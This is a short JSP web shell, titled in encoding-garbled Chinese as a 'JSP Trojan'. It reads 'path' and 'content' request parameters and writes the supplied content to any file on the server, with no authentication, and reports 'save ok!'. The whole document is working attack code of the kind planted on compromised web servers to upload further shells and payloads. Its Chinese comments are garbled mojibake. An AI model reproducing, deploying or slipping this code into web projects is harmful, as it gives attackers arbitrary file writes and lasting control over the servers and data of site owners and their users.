%@ page language="java" pageEncoding="UTF-8"%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*"%>
jspå°é©¬ | Mr Fz's个人ä¸ç!严ç¦ç¨äºåä¸ç®ç!
<%
String damapath=request.getParameter("path");
String content=request.getParameter("content");
String url=request.getRequestURI();//å½å页é¢
String url1=request.getRealPath(request.getServletPath());//å½åæ±è¯·çJSPæ件çç©çè·¯å¾
String dir=new File(url1).getParent(); //å½åJSPæ件æå¨ç®å½çç©çè·¯å¾
if(damapath!=null &&!damapath.equals("")&&content!=null&&!content.equals(""))
{
try{
File damafile=new File(damapath);//ç¨fileç±»å建ä¸ä¸ªdamafile对象并æå®å®çè·¯å¾damapath
PrintWriter pw=new PrintWriter(damafile);//使ç¨æå®æ件damafileå建printwriter
pw.println(content);//æå°content,并ç»æ¢æå°
pw.close();//å
³éæµéæ¾èµæº
if(damafile.exists()&& damafile.length()>0)//å¤ædamafile对象æ¯å¦åå¨,
{
out.println("save ok!");
}else
{
out.println("save bad!");
}
}catch (Exception ex){
ex.printStackTrace();
}
}
out.println("");
%>